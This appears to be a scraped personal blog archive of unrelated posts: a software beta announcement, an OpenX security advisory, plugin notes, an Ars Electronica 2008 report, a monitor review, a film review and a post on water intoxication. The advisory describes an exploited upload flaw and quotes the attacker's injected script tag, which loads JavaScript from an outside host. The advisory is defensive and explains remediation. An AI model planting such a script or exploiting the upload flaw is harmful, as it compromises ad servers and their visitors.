My new project, Checkpanel, went into public beta recently. Checkpanel is a checklist application which focuses on repeating checks. Unlike traditional checklists, Checkpanel keeps track of all reported checks (marking something as working or not working). You can see who when last checked a test case and what the errors were. You can also let some checks be executed automatically and set reminders for when you would like to check something again. And much more.

I imagined it primarily for use in quality assurance of web apps, for example when you frequently want to check if a recent change broke the contact form or had similar side effects. Of course you can also use it for anything else which needs to be checked frequently.

https://checkpanel.com/ – go try it! :) I’m happy about every beta tester.

The problem lies in the following file:

/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php

The file ships with the video plugin. It is a component of Open Flash Chart 2 which is already known to be vulnerable. Basically, it allows an attacker to upload any file to the server including executables. This way, the attacker uploads a php backdoor and gains full access to the webserver account. From there he can (amongst other things) take control over the OpenX installation.

In our case, the attacker created a new admin user in the OpenX database called “root”. Interestingly, this user was not shown anywhere in the user accounts. But it did show up in the user log when he appended the following malicious script to one of our ad zones:

<script type="text/javascript" src="http://keyserveronline.com:8080/File.js"></script>

Interestingly, this vulnerability is also still present in the latest version of Open Flash Chart 2. It wouldn’t be hard to fix, but seemingly noone bothered to release a fix, yet. Me neither, since I do not need this component. A simple workaround is to delete ofc_upload_image.php. The core features of OpenX should not be affected since this file seems to be connected to reports of the video plugin and might even be unused (since it is part of a whole library). Alternatively, access to the file can be restricted via htaccess to trusted users.

I highly recommend to do this immediately, since this vulnerability is being actively exploited.

Also check for signs of a already installed backdoor. In our case, the attacker closed the vulnerability himself (presumably so that noone else can take control over his loot), so take a look at the file before deleting it and compare it with the one that ships with OpenX. If it has been edited, you probably have already been hacked and a backdoor is installed.

What to do once the server has been hacked (Update 11.9.2010)

If you think your server has been compromised, you need to make sure that you get rid of all backdoors that might have been hidden in your system. Finding a backdoor in a compromised OpenX is tricky at best, so better get rid of the original installation completely.

Re-install OpenX and apply the fix mentioned above. Do not keep any files of the old installation. Delete or archive everything that you did not install freshly from a trusted source.

Check your database. Take a look at the table ox_users and delete every entry that does not represent a trusted user. Check the prepend and append fields of all banners and zones. Remove suspicious code.

Change your passwords.

If you want to be absolutely sure, you would have to re-install the whole server because it might have been rooted. But if your server was configured savely and did not contain any vulnerabilities that can be exploited by local users, the chances of this are moderately low. Decide for yourself if you want to take this time consuming measure.

The plugin is based on the BBCode plugin by Moxiecode Systems AB distributed together with TinyMCE, so they deserve most of the credit. I only adjusted a few replacement calls.

Currently there is one disadvantage: When you want to edit an existing post, double linebreaks are not converted back into <p>s, but into double <br />s. This usually looks just fine, but is not perfect.

Installation

Unpack the zip file into the TinyMCE plugins folder. Add “bbpress” to the list of activated plugins.
Important: Also set remove_linebreaks to false, or all linebreaks will get removed by TinyMCE.

Download

bbPress Plugin for TinyMCE 0.2
bbPress Plugin for TinyMCE 0.1

Not anymore. I just updated it and it can now show the musical similarities between up to five users. Perfect for small parties and gatherings. :)

» Music Intersector

Unfortunately, the number of results declines extremely rapidly with more than two users. There is not much that I can do about it, since Last.fm only offers access to the top 50 artists and not the whole profile.

Last year, I was at the Ars Electronica Festival in Linz, Austria. Unfortunately, I was too busy with beyond vision to post my impressions immediately, but now I’m going to make up for it. In the months that have passed, my memory of the event has faded a bit, but I’ll do my best to convey an adequate overview, with the help of tons of pictures.

All in all I was not as impressed by the festival in 2008 as I was in 2007. In part, this is because I visited the Ars Electronica Center exhebition for the first time in 2007. That exhibition is one of the greatest, but it did not change a lot from 2007 to 2008, so it was kinda “old news” for me this time.

By the way, visiting the Ars Electronica Festival on a saturday turned out not to be a problem. At first I was worried that the exhibitions would be overcrowded on the weekend, but it wasn’t much different than on the weekday the year before. The decision not to buy a day ticket was also right. I spent much less on single exhebition fees than a day ticket would have cost.

And now for the pictures…

Wagenburg (Pfarrplatz)

Kodou by Yuichiro Katsumoto, Shuichi Ishibashi, Daisuke Uriu, Naruhiko Shiratori, Masato Takahashi, Motonori Nakamura, Sho Hashimoto, Masa Inakage / Keio University

The most interesting work on the Pfarrplatz – in my humble opinion – was Koudou. One could hold a stethoscope-style sensor on one’s body and try to hear the heartbeat. The sound was heavily amplified and distorted so that there wasn’t much of a heartbeat left, but the bass-emphasized sound was pretty cool. :)

CyberArts (OK Offenes Kulturhaus Oberösterreich)

The exhibition CyberArts in the OK turned out to be one of the highlights of this year’s Ars Electronica Festival.

Left: a plaything for the great observers at rest by Norimichi Hirakawa. Right: Optical Tone by Mutoh Tsutomu.

Some works were kinda pointless, but beautiful, like the above pictured a plaything for the great observers at rest and Optical Tone. With a plaything for the great observers at rest one could overlap different world views – in the end just beautiful light effects in an unusual projection and a wacky input device which supposedly resembled a conceptual model of sun and earth. Optical Tone consisted of funny colourful lights which could be pushed around to make them change colour.

Left: The Replenishing Body by Ross Phillips. Right: Reactable by Sergi Jordà, Günter Geiger, Martin Kaltenbrunner and Marcos Alonso.

More permanently fascinating were projects like Reactable. Reactable is a sort of electronic music instrument, which gathered some fame during a tour with Björk.

Also very cool was The Replenishing Body where visitors could record short video sequences of themselves which then would be assembled to one large mosaic video. This lead to some really great and wacky compositions. Too bad that I only have a photo…

levelHead by Oliver Julian

levelHead became one of my favorites of Ars Electronica 2008. In this game, one has to lead a character through a maze. The little hero is controlled with a cube. This cube is filmed with a camera and the image projected onto a screen. In the projection, the formerly solid cube is altered to contain the maze including character. The character always walks “downwards”, so one has to tilt the cube to make the character tumble in the right direction. Lots of fun. :)

campus | Tokyo – Hybrid Ego

Just like the year before, there was again a campus exhibition. This time in collaboration with the university of Tokyo which included many student projects.

ephemeral melody by Risa Suzuki, Taro Suzuki, Seiichi Ariga, Makoto Iida and Chuichi Arakawa

ephemeral melody, as seen above, was borderline kitschy, but still very beautiful. One could use a small crank to create soap bubbles. When bubbles collided with metal rods which were placed in front of the bubble-output, a sound rang. Kinda lika a soap bubble piano.

Optical Camouflage by Takumi Yoshida, Hideaki Nii, Naoki Kawakami and Susumu Tachi

Also drolly was the installation Optical Camouflage. A person with a grey coat moved up and down in front of fixed binoculars. When looking through the binoculars, one saw the above picture. The background glimmered through the person (or, more correctly: it was projected onto him – the coat was of a material which reflected light exactly back in the direction that it came from and there was a projector built into the binoculars which projected the background right from the oberserver’s point of view).

Tablescape Plus by Yasuaki Kakehi, Takeshi Naemura and Mitsunori Matsushita

On Tablescape Plus, one could push little projection screens around. A character or object was projected onto each of those. When the screens came into close proximity, the characters began interacting with each other. For example – and if I remember correctly – the male figure began arguing with the female one as soon as they were moved close to each other.

TORSO – the telexstence system by Kouichi Watanabe, Hideaki Nii, Naoki Kawakami and Susumu Tachi

TORSO was an experiment about telepresence. One could put on a – slightly bulky – helmet and then saw through the “eyes” of a robot head next beside oneself. The movements of the helmet were tracked and the robot head copied the movement exactly to make the illusion of seeing through its eyes perfect. To demonstrate the realism of the effect, the supervising artist sometimes thrust a softball onto the roboter head to shock the visitor – for whom the impression was as like the ball was thrown onto himself.

Erm… I better had written title and artist down for this one….

Unfortunately I missed to write down title and artist and also can’t find them in the official Ars Electronica Festival guide. If any of you know any details: Please leave a comment below.

Fishy by Dolo Piqueras

Fishy (in the campus | Interface Cultures exhibit) was a weird combination of Space Invaders and an aquarium. One could play Space Invaders on a game machine. When a certain level was reached – which took Forever – a marble dropped from a box above, rolled through a glass pipe across the room and finally dropped into an aquarium at the other end of the room. The idea seemed to be to play the game until there was no water left in the aquarium. Upon my visit there already was a number of marbles in the aquarium, but I didn’t see anyone reaching the necessary level to drop anotherone. I seriously doubt that the aquarium was filled to any notable degree during the whole Ars Electronica 2008. :)

So much for the artworks. Now for a few photos of the Lentos Kunstmuseum, a museum whose facade impressed me. Also the inside view of a beautiful church in Linz:

Lentos Kunstmuseum

Lentos Kunstmuseum

Lentos Kunstmuseum and a church in Linz

Visualisierte Linzer Klangwolke [visualized sound cloud of Linz]

At the end of the day, we attended an event at the waterside of the river Donau. The event was titled Visualisierte Linzer Klangwolke which roughly translates to Visualized Sound Cloud of Linz (the German version sounds much cooler ^_^). That was a pretty large event, consisting of light effects, projections and sound – basically a sexed up audio play.

The light effects were impressive. On both sides of the river were large spotlights which swung light beams through the night sky.

Most whacky was the large floating platform on which large projection screens and more spotlights were placed. During the performance, this platform was pulled back and forth through the river – cool thing. :) The projections themselves were less impressive. They were not only projected onto the platform but also onto several buildings – which is in itself a nice concept. Unfortunately, they appeared rather cheap. (Not that I was producing the elaborate beyond vision project at that time, so my demands might have been heightened)

Most ansatisfactory, though, was the story. Too much time has passed to be still able to offer a sound criticism, but in my humble opinion, story and text were often quite awful.

On the other hand, the use of live performances was quite cool. At one point, for example, several performers climbed high posts, unrolled large papers and sprayed symbols onto them.

For the finale, there also were fireworks. That always makes me happy. :)

Large audience – this is only a small part of the whole mass of visitors. Oh dear, that was one crowded event!

Floating platform with light effects and large screens (I was too far away to get a better picture – sorry)

Two of several large spotlights and a building as projection screen.

Live performances

Fireworks!

Links to other resources about Ars Electronica 2008

I collected a few links to more Ars Electronica 2008 resources. Feel free to add your own in the comment section below.

• Snapshots from Ars Electronica 2008 (Rebellious Pixels)
• Ars Electronica 2008: A New Cultural Economy (Tricorder)
• Report From Ars Electronica 2008: A New Cultural Economy (Rhizome)
• Talk on Political Remix Video at Ars Electronica 2008 (Political Remix Videos)
• Ars Electronica 2008: Web Resources & Interactivity
• Gerd Leonhard’s presentation at the Ars Electronica Symposium
• Ten Thousand Cents @ Ars Electronica (Takashi Kawashima)
• piece 0 plastic’s reports from Ars Electronica 2008
  • Day 1
  • Day 2
  • Day 3
  • Day 4
  • Day 5
• Music, Software, and Sustainable Culture (paper presented at the symposium)
• report by Ben Busch
• Report From Ars Electronica 2008: A New Cultural Economy (Panic {RE}_Programming)
• John Nussey’s report with lots of pictures

There is one project that I was working on, but never found the time to tell you about: beyond vision. It is the largest project that I have done so far and it required so much time that I didn’t have any time left to write about it. :) But in December it was finally completed, so now there is time to tell:

18 musicians, 7 huge screens. beyond vision is the fusion of music and film – not just music with visual support and not just film with film music. Together both media tell an abstract story like it would not be possible for each medium alone.

I already set up a small page full with information about this project, so I will not copy it here. If you are interested, just take a look at the following link:

» beyond vision

I am sorry that I did not have the time to mention this project earlier. I guessed that most of you are probably not from Germany so the tour dates would probably not have been very interesting for you. :) And now, at least I have some more material to show you (don’t miss the photos).

I hope I will be able to show you some more background information soon. A documentary is already in the making, so hopefully I can show you some video footage from the performances somewhen…

Ok, “my” is not quite right in this case. Not too long ago I bought a new monitor, the Samsung SyncMaster 226bw, and i would not be that decadent to buy yet another new monitor so soon. :) I am using the Dell UltraSharp 2709W for a larger project, but I do not own it. Bold 27” screen size and a resolution of 1980×1200 come quite handy for video post processing. Too bad I’ll have to return it some day…

Specs

Screen size: 27“
Resolution: 1980×1200
Video ports: DVI, VGA, HDMI, DisplayPort, Composite Video, Component Video
Viewing angles: 178°/178° (Standard)
Contrast: 3000:1 (dynamic), Standard
Response time: 6 ms (Grey to grey), Standard
Energy consumption: 57 W (standard); 110 W (max)
Panel technology: S-PVA
Integrated speakers: no
Other integrated accessories: 4 port USB hub, 9-in-2 card reader
Price: Bought in July 2008 directly from Dell for 623 Euros. Current price: 831,81€

First Impression

After unboxing my 2709W, my first thought was „yay, biiig“. :) The UltraSharp 2709W fits just barely together with my laptop and old monitor on my desktop. The second monitor has to be turned upright to fit it besides the large 27” screen.
My personal command center. :)

Design

Visually, this large monitor does not have to hide. He is well built and has a beautifully simple design which also isn’t destroyed by pointless speakers. The material itself does not feel or look cheap, although Dell’s official product photo does not look that convincing. Fortunately, it looks better in reality.

One reason why the monitor looks so beautifully simple is that there are very few visible buttons. Only the power button is permanently emitting a blue or orange light. The other buttons for menu controls are very small LED rectangles, which stay black and mostly invisible when not in use. The only awake and shine when you approach them with your hand or finger. This is quite cool, although the technology still seems to have a few hiccups – more about this later.

Image Quality: See next page

Plot Preview

Bruce Campbell (Bruce Campbell) is currently busy producing his newest movie, the terrific Cave Alien 2, when a young fanboy* asks for his help. He accidentally released an ancient Chinese daemon that now has set out to slaughter everyone who is related to the fanboy – coming from a small town this puts its whole population on the brink of a bloody death.

The passionate Bruce Campbell fan sees only one solution to this problem: Bruce himfels has to save the town utilizing his elite monster slaying powers which he aquired acting in various grand movies like Evil Dead. The True Fan faithfully overlooks the dramatic downfall which Bruce’s career has taken since his heydays. Neither is Fanboy irritated by the fact that his idol turns out to be the most arrogant asshole alive who couldn’t care less about his fans and annoyingly keeps hitting on fanboy’s mother (and pretty much any other female).

Thanks to some gentle persuasion involving a baseball bat and Bruce’s subsequent erroneous assumption that the whole story is just an elaborate birthday present from his manager (Ted Raimi), he agrees to pick up the fight against the daemon…

Review

As one might guess from the plot description, My Name is Bruce is not exactly a movie that is meant to be taken seriously. It is a parody – primarily on Bruce Campbell himself, but also on the movies in which he acted.

„Getting you laid is hard enough without this Bruce Campbell factor.” (fanboy’s pal)

Most of the jokes are at the expense of Bruce. He’s really pulled to pieces – not one likeable trait is left to him. He is obnoxious, alcoholic, arrogant, chickenhearted and a general pain in the neck. The whole crew of his current movie hates him and Cave Alien 2 itself sucks so much that it probably wouldn’t deserve even a direct-to-DVD release. Also, numerous Evil-Dead-style horror clichés are taken to their distorted extremes. For example, each “creepy” scene is set in thick artificial fog with massive backlighting.

One aspect of this movie is quite clear: My Name is Bruce is pure trash. And that’s a good thing. :) One might rightly doubt whether outsiders can relate to this flick. The many references to Bruce’s past on the screen would take a lot of the fun if left ununderstood. Not to mention that people who do not value Evil Dead would hardly be compatible to My Name is Bruce…

Unfortunately, the movie can not maintain this level of trash throughout the whole length. There are several scenes where pace and intensity drop. There is also not much of a tension arc. My Name is Bruce is more like a sequence of loosely connected and abstruse scenes. Usually the atmosphere is strong enough to get at least a smile out of the weaker scenes.

Blood and severed body parts (primarily heads) are appear frequently. Still, there is less splatter in My Name is Bruce than one might expect. Most scenes concentrate on the “social” interaction of Bruce.

Bottom Line

My Name is Bruce is a blissfully trashy Buce-Campbell/Evil-Dead-parody which will reward fans with an entertaining evening – and non-fans are probably going to avoid it anyway. :)

Trailer

By the Way

My Name is Bruce was directed by Bruce Campbell himself and the screenplay was written by Mark Verheiden.

Once again the usual suspects have met at the set of this movie. Besides Bruce Campbell there is Ted Raimi in at least two supporting roles. Director of photography Kurt Rauf was production assistant for Evil Dead. Composer Joseph LoDuca also wrote the music for Evil Dead and uncountable other Buce-Campbell-cooperations. I was really surprised not to find Sam Raimi listed in the credits as well.

A sequel called „My Name is Still Bruce“ has been announced.

* I only called the character Fanboy because I cannot remember his name. Strangely, I wasn’t able to find his name on the internet either.

More Opinions

„The film is little more than Campbell cracking self-deprecating jokes, making fun of his fans, and painting a bizarre portrait of himself as a despicable loser who’s been given an opportunity to redeem himself. It is a film that sets itself up for miserable failure, but succeeds because of Bruce Campbell.“ (David Walker / DVD Talk)

“What we have here is a great capstone to Bruce’s body of work and a great tribute not only to himself, but to his fans. It will delight die-hard Bruce Campbell fans, but the casual viewer may not get most of the humor if they don’t know who Bruce is, but I think they would still find it funny.” (Daniel J. Hogan)

“THE movie for B-Movie Fans, Bruce Campbell Fans and every low-budget moviegeek out there.” (IH8YH)

More Information

IMDb rating: 7.8/10 (2,676 votes)
IMDb:My Name Is Bruce (2007)

If one digests too much water, the level of sodium in the blood gets out of balance. There is enough sodium, but too much water. The consequence is a hyponatremia, or water intoxination. The possible symptoms are quite scary:

”Initial symptoms typically include light-headedness, sometimes accompanied by nausea, vomiting, headache and/or malaise. Sodium levels below 100 mmol/l (2.3 g/l) frequently result in cerebral edema, seizures, coma, and death within a few hours of drinking the excess water.” (Wikipedia)

In extreme cases it is even possible to die of water. This should be quite impossible through any sane consumption (so don’t panic), but every now and then some people indeed manage to die of water – usually in the context of strange contests.

For example, there was a contest where one could win a Nintendo Wii gaming console. Winner was the person who could drink the most without going to the toilet. A 28 year old woman died from this quest for a Wii. (see Gamasutra)

In 2005, a californian student died of water after drinking 20l mug of water. (see Abendblatt.de[German]).

In England, a 44 year old man died of water intoxination. He drank 10 litres cold water per day, because his gums were hurting. Using this “treatment” three days in a row, he finally collapsed. His brain was swallen because of the extreme water consumption and he couldn’t express himself clearly anymore. One day later he suffered a heart attack in the hospital an died. A court finally decided that the official cause of death was a heart attack because of excessive water consumption. (see Spiegel Online [German])

People participating in marathons seem to sometimes suffer from water poisoning when they take up too much water.

A already mentioned: These are extreme cases. Unless you engage in stupid drinking contests, it should be almost impossible to ingest a lethal dose of water by accident. So don’t thirst yourselves to death. :)

Unfortunately, I do not know a reliable source which tells which amounts of water can become dangerous. Some forums talk about 5-6 litres within half an hour (!), unfortunately without sources. Whoever has a good source: Please leave a comment below!

I stumbled over a beautiful photo set by Kevin Scanlon. Bearing the simple title “Railroad” it shows diverse impressions of railroad scenery.

I’m not particularly drawn to railroads, but these photos are really beautiful. Especially the numerous shots with backlight produce a wonderful atmosphere.

» “Railroad” by Kevin Scanlon

Why Kevin Scanlon presents such beautiful images on such a not beautiful website is beyond my comprehension, though. :)